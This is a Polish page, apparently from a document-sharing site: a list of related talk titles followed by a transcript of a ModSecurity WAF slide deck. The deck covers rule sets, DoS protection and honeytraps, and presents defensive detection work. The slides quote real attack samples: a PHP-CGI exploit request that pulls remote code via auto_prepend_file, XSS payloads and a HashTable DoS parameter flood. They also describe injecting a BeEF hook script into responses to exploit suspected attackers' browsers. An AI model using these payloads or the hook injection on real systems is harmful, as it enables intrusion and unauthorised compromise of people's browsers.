Czy Twój WAF to potrafi? modsecurity.

Podobne dokumenty
Bezpieczeństwo aplikacji internetowych. Rozwój napędzany potrzebą WALLF Web Gateway. Leszek Miś, RHCA,RHCSS,Sec+ Linux Polska Sp. z o.o.

Scalable and under control open cloud architecture

Portal Security - ModSec Enterprise

Modsecurity czy Twój WAF to potrafi? Leszek Miś Linux Polska Sp. z o.o.

Aplikacje webowe na celowniku. Leszek Miś IT Security Architect RHCA,RHCSS,Sec+ Linux Polska Sp. z o.o. 1

Kontekst jest najważniejszy Application Security (WALLF-ng) Leszek Miś Head of IT Security Department Linux Polska Sp. z o.o.

Web Application Firewall - potrzeba, rozwiązania, kryteria ewaluacji.

Webapplication Security Pentest Service

Bezpieczeństwo aplikacji WWW. Klasyfikacja zgodna ze standardem OWASP. Zarządzanie podatnościami

Automatyczne testowanie infrastruktury pod kątem bezpieczeństwa. Leszek Miś IT Security Architect RHCA,RHCSS,Sec+ Linux Polska Sp. z o.o.

OWASP OWASP. The OWASP Foundation Cross-Site Scripting. Ryzyko do zaakceptowania? Warszawa, 27 stycznia 2011 Michał Kurek

Bezpieczeństwo aplikacji internetowych

Programowanie w Internecie

Gerard Frankowski, Zespół Bezpieczeństwa PCSS. Nowoczesne technologie bliżej nas Poznań,

Open(Source) Web Application Security Project

4383: Tyle podatności wykryto w 2010 r. Przed iloma jesteś chroniony? 2010 IBM Corporation

Client-side Hacking - wprowadzenie w tematykę ataków na klienta. Radosław Wal radoslaw.wal@clico.pl

Aplikacje webowe w obliczu ataków internetowych na przykładzie CodeIgniter Framework

Narzędzia OWASP dla developerów OWASP ESAPI & AppSensor OWASP The OWASP Foundation

Log management i analizy > to czego nie widać. Tomasz Sawiak

PROJEKT ARAKIS DOŚWIADCZENIA Z OBSERWACJI ZAGROŻEŃ W SIECI Tomasz Grudziecki (CERT Polska / NASK)

Produkty. F-Secure Produkty

Programowanie w Internecie

Integracja systemu antymalwarowego HP ATA z urządzeniami bezpieczeństwa sieciowego HP NGIPS. Sebastian Mazurczyk Warszawa / 19, 06, 2015

Wojciech Dworakowski. Zabezpieczanie aplikacji. Firewalle aplikacyjne - internetowych

Jak ograniczyć zagrożenie związane ze zjawiskiem credential abuse? Bartlomiej Jakubowski Solutions Engineer II, CISSP, CCSP

INSTYTUT IMMUNOLOGII I TERAPII DOŚWIADCZALNEJ im. Ludwika Hirszfelda Polska Akademia Nauk

Funkcjonalność ochrony antywirusowej w urządzeniach UTM oraz specjalizowanych rozwiązaniach zabezpieczeń AV

TelCOMM Wymagania. Opracował: Piotr Owsianko Zatwierdził: IMIĘ I NAZWISKO

Drobne błędy w portalach WWW

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

PROFESJONALNE SYSTEMY BEZPIECZEŃSTWA

Wektory ataków vs. systemy zabezpieczeń. Sebastian Krystyniecki Systems Engineer Poland Ukraine Belarus. April 4, 2014

Wyciąg z ogólnej analizy ataków na witryny administracji państwowej RP w okresie stycznia 2012r.

Instalacja Moodle na serwerze SBS2000/2003. Opiekun pracowni internetowej SBS

n6: otwarta wymiana danych

Księgarnia PWN: Greg Bastien, Christian Abera Degu Ściany ogniowe Cisco PIX

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Generacja paczki instalacyjnej F-Secure Client Security/Client Security Premium

Marek Krauze

Program szkolenia: REST i Microservices w PHP

Wprowadzenie do kryptografii i bezpieczeństwa. Po raz czwarty

Testy penetracyjne Przykłady programów

Palo Alto firewall nowej generacji

Malware vs host, ochrona stacji końcowych i serwerów aplikacji krytycznych rożne podejścia. Warszawa, 21 czerwca 2017 Konrad Antonowicz

Zagrożenia związane z udostępnianiem aplikacji w sieci Internet

Typy przetwarzania. Przetwarzanie zcentralizowane. Przetwarzanie rozproszone

Bezpieczeństwo IT z Open Source na nowo

Podstawy bezpieczeństwa

W3 Total Cache. Skuteczne przyśpieszanie WordPressa. Bartosz Romanowski

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Programowanie Komponentowe WebAPI

Anatomy of an attack.. Cel: firma Aupticon Branża: technologie, R&D, self-driving cars

Zagrożenia trywialne. Zagrożenia bezpieczeństwa aplikacji internetowych. Parametry ukryte. Modyfikowanie parametrów wywołania

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

Czy OMS Log Analytics potrafi mi pomóc?

Wykrywanie i odpieranie ataków socjotechnicznych oraz cybernetycznych - jak zaatakować napastnika? Grzegorz Wróbel

SQL z perspektywy hakera - czy Twoje dane są bezpieczne? Krzysztof Bińkowski MCT,CEI,CEH,ECSA,ECIH,CLFE,MCSA,MCSE..

Języki programowania wysokiego poziomu WWW

Inwazja security na świat wirtualny VPN-1 VE Radosław Wal CLICO

JĘZYK PYTHON - NARZĘDZIE DLA KAŻDEGO NAUKOWCA. Marcin Lewandowski [ mlew@ippt.gov.pl ]

CYBEROAM Unified Treatment Management, Next Generation Firewall

Przestępcze scenariusze wykorzystania a sposoby zabezpieczeń Warszawa, 21 czerwca Tomasz Zawicki CISSP

Bezpieczeństwo systemów internetowych

Vulnerability Management. Vulnerability Assessment. Greenbone GSM

Linux -- u mnie działa!

Języki i narzędzia programowania III. Łukasz Kamiński Wykład II

Architektura bezpiecznych aplikacji internetowych na platformie Java Enterprise Edition. Jakub Grabowski Warszawa,

Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Przełączanie i Trasowanie w Sieciach Komputerowych

Metasploit Part 1. The Beginning

Praktyczne wykorzystanie mechanizmów zabezpieczeń w aplikacjach chmurowych na przykładzie MS Azure

Przykład programu w PHP. Wykład10.PHP ciągdalszy,str.1


Quest Software, now a part of Dell

Pracownia internetowa w każdej szkole (edycja Jesień 2007)

Szkolenie autoryzowane. STORMSHIELD Network Security Administrator. Strona szkolenia Terminy szkolenia Rejestracja na szkolenie Promocje

Analiza skuteczności zabezpieczeń przed atakami na aplikacje Web

ER5120 router xdsl 1WAN 1DMZ 3WAN/LAN

Bezpieczne udostępnianie usług www. BłaŜej Miga Zespół Bezpieczeństwa PCSS

Bezpieczeństwo systemów informatycznych

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

9. System wykrywania i blokowania włamań ASQ (IPS)

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Integracja istniejącej infrastruktury do nowego systemu konwersja protokołów

Laboratorium - Przechwytywanie i badanie datagramów DNS w programie Wireshark

Efektywna ochrona danych jako skutek wdrożenia systemu Data Loss Prevention Maciej Iwanicki

Wykład 13. komputerowych Intrusion Detection Systems głowne slajdy. 4 stycznia Igor T. Podolak Instytut Informatyki Uniwersytet Jagielloński

Hosting WWW Bezpieczeństwo hostingu WWW. Dr Michał Tanaś (

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Audyty bezpieczeństwa i zgodności oprogramowania Leszek Miś RHC{A,SS,X} Linux Polska Sp. z o.o.

Skuteczne rozpoznanie oraz kontrola aplikacji i użytkowników sieci - rozwiązanie Palo Alto Networks

Serwery. Autorzy: Karol Czosnowski Mateusz Kaźmierczak

Od assemblera do html5

PSI Protokół HTTP + wstęp do przedmiotu. Kraków, 10 październik 2014 mgr Piotr Rytko Wydział Matematyki i Informatyki UJ

Wstęp do Microsoft Forefront. Jakub Januszewski Technology Adviser - Security Microsoft

Łowienie w morzu pakietów czyli jak ukrywają się serwery Comand and Control. Ireneusz Tarnowski czerwca 2017, WROCŁAW

Wybrane metody obrony przed atakami Denial of Service Synflood. Przemysław Kukiełka

Agenda. Quo vadis, security? Artur Maj, Prevenity

Transkrypt:

Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS lm@linuxpolska.pl 1

/whoami IT Security Architect @ Linux Polska Sp. z o.o. Lider projektu WALLF Web Gateway (http://wallf.pl) RHCA/RHCSS/RHCX Skupiam się głównie na: Linux Security Web Security Pentesty SSO Linux forensics Klastry, wirtualizacja, cloud, storage 2

Agenda 1. Kilka słów wstępu. 2. Podstawowe możliwości. 3. Realne przypadki 4. PoC: - Honeypot + modsecurity - BeeF+modsecurity = give me your real IP! 5. Podsumowanie. 3

modsecurity Najczęściej wykorzystywany WAF na świecie Open source Tysiące dl/miesiąc Chronionych ponad milion serwerów Tryby pracy: Wbudowany Reverse Proxy 4

modsecurity Od zawsze dostępny dla Apache Od niedawna także dla: Nginx (jest też naxsi oraz ngx_lua based) Microsoft IIS Blacklist: OWASP Modsecurity Core Rule Set Whitelist learning mode: Modprofiler WebApplicationProfiler REMO 5

modsecurity 6

modsecurity Wirtualne patchowanie i integracja z DAST: ZAP, Arachni, RPC LUA API Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy) Możliwość szybkiej modyfikacji reguł Ochrona przed błędami typu 0-day dla aplikacji webowych Geolokalizacja Ochrona antywirusowa dla uploadów Nadawanie flag ciasteczkom 7

Modsecurity CRS HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy. Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API. HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks. Common Web Attacks Protection - detecting common web application security attack. Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity. 8

Modsecurity CRS Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application. Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages. Trojan Protection - Detecting access to Trojans horses. Identification of Application Defects - alerts on application misconfigurations. Error Detection and Hiding - Disguising error messages sent by the server. 9

Modsecurity CRS modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf 10

Realne przypadki 11

Realne przypadki Ruby on Rails XML Exploits Podatność w kodzie parsującym parametry XML YAML i Symbol Wykonanie dowolnego polecenia systemowego Modsecurity potrafi parsować i walidować XML: SecRule REQUEST_HEADERS:Content-Type "text/xml" \ "id:'900017', phase:1, t:none,t:lowercase, \ nolog, pass, chain" SecRule REQBODY_PROCESSOR "!@streq XML" \ "ctl:requestbodyprocessor=xml" 12

Realne przypadki Positive security model dla formularza logowania + ochrona przed brute force 13

Realne przypadki Ochrona przed atakami typu Slow HTTP DOS Slowloris: Atakujący wysyła niekompletny zbiór nagłówków Zaśmiecenie kolejki read request i write request Serwer oczekuje dalszych requestów, aż do Timeoutu Wysyłanie kolejnych żądań powoduje wysycenie zasobów R-U-dead-yet czyli RUDY attack: Faza request headers wykonywana poprawnie Wolne wysyłanie request body, np 1bajt/100s Wiele innych jak HOIC/LOIC 14

Realne przypadki Kontrolowanie ilości połączeń w stanie Busy: SecReadStateLimit 5 SecWriteStateLimit 5 [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400. Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - Possible DoS Consumption Attack [Rejected] [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400. Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX - Possible DoS Consumption Attack [Rejected] 15

Realne przypadki HULK DOS Tool: Pythony skrypt Randomizowane wartości nagłówków: User-Agent, Referer, Keep-alive Zawsze ta sama kolejność 16

Realne przypadki CVE-2012-1823: PHP jako czyste CGI mod_cgid Możliwość podglądu kodu źródłowego: 'GET /index.php?-s' /index.php?-dallow_url_include%3don+dauto_prepend_file %3dhttp://www.bu67778.com/a.txt' SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urldecodeuni,t:removewhitespace,block,log,msg:'potential PHP-CGI Exploit Attempt'" 17

Realne przypadki OsCommerce 3.0.2 XSS Parametr name : POST /oscommerce/index.php? RPC&Setup&Install&DBCheck HTTP/1.1 server=&username=&password=&name= %3Cscript%3Ealert(123)%3C%2Fscript %3E&port=&class=SQL 18

Realne przypadki Movable Types: XSS Parametr dbuser: POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1 mode=test&step=configure&set_static_uri_to=&d efault_language=enus&config=&dbtype=mysql&dbserver=localhost&db name=&dbuser=%3cscript%3ealert %28%27123%27%29%3C%2Fscript %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t est=1 19

Realne przypadki Movable types: 20

Realne przypadki ASP.NET HashTable DoS: Paylodem była bardzo duża ilość losowych parametrów z pustą zawartością: EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138 LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0 TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D 3ACY8973E=&VGJPMCQHP=&AV6THWSCA7= SecRequestBodyLimit 131072 domyślna wartość This directive is useful to reduce susceptibility to DoS attacks when someone is sending request bodies of very large sizes. 21

Honeytrapy 22

Honeytrapy Wykorzystanie istniejących serwerów: Listen 8080 Listen 8888 Listen 8000 Wykrywanie i blokowanie automatów skanujących pod kątem webappek na niestandardowych portach Tagowanie klientów Rozpoznawanie pod kątem prawdziwej aplikacji 23

Honeytrapy SecRule SERVER_PORT "^(8000 8080 8888)$" "id:'999004',phase:2,t:none,log,block,msg:'honeytrap Alert: Traffic Received on Fake Port.',\ setvar:ip.malicious_client=1" SecRule &IP:MALICIOUS_CLIENT "@eq 1" "id:'999005',phase:2,t:none,log,block,msg:'honeytrap Alert: Known Malicious Client.'" Integracja z WASC Web Honeypots 24

Mięsko ;) 25

BEEF The Browser Exploitation Framework zaawansowane narzędzie do pentestów Browser as Pentester's gateway C&C Wymagane: Zmuszenie użytkownika do wejścia na stronę (FB,TW, krótkie linki) Phishing XSS dla tych którzy uważają, że XSS nic nie znaczy 26

BEEF Pozwala na przejęcie kontroli nad przeglądarką użytkownika poprzez wstrzykiwanie hooków: Bind shell Javascript command Odwiedzane URLe Skanowanie portów/dns enum/network discovery Man In The Browser Tunelowanie Keylogger Integracja z metasploit, np: XSS->Hook->przejęcie kontroli nad przeglądarką Wykorzystanie podatności, np. w Adobe Dostęp do shella z poziomu metasploita 27

W jaki sposób wyśledzić prawdziwy adres źródłowy atakującego? Proxy TOR Analiza powłamaniowa 28

Co mamy? Modsecurity jako WAF: Wykrywanie ataków Aktywacja Beefa BeEF jako browser exploitation framework: Hookowanie atakujących Enumeracja lokalizacji atakującego AuditConsole: Centralna konsola do analizy logów 29

modsecurity+beef Idea przedstawiona na Appsec 2012 USA przez Rayna Barnetta Ograniczenie do połączeń do tych z browsera Monitorowanie atakujących 30

modsecurity+beef Filtrowanie wyjścia: SecResponseBodyAccess Modyfikacja HTTP Response data SecContentInjection SecStreamOutBodyInspection Zmienna STREAM_OUTPUT_BODY Operator @rsub SecRule STREAM_OUTPUT_BODY " <at> rsub s/fuck/****/" "phase:4,t:none,log,auditlog,pass" 31

modsecurity+beef W jaki sposób zidentyfikować atakującego? Założyć pułapki: Fake cookies Robots.txt Ukryte pola formularzy: SecRule STREAM_OUTPUT_BODY "@rsub s/</form>/<input type="hidden" name="admin" value="false"></form>/id" id:"999999", phase:4,t:none,nolog,pass" 32

modsecurity+beef SecRule ARGS:admin "!@streq false" "id:'9999923',phase:2,t:none,log,block,msg:'honey trap alert: hidden form data manipulated',setvar:tx.malicious_client=1" SecRule TX:MALICIOUS_CLIENT "@eq 1" "chain,id:'999232', phase:4, t:none, pass, log,msg:'hooking to beef'" SecRule STREAM_OUTPUT_BODY "@rsub" s/</html>/<script src=http://10.0.0.1:5000/functions.js"></script></ht ml> 33

modsecurity+beef Geolokalizacja: Lokalnie dostępne access pointy Uzyskanie dostępu do CMD celem wysłania ICMP do naszego hosta: Analiza ruchu i wykrycie faktycznego adresu IP 34

Podsumowanie W modsecurity drzemią ogromne możliwości i potencjał Reguły oparte na blacklistach prędzej czy później mogą zostać ominięte Whitelisting trudny we wdrożeniu, utrzymaniu i czasochłonny zmieniające się aplikacje Audytowanie logów konieczność 35

Podsumowanie Dziękuję za uwagę. lm@linuxpolska.pl 36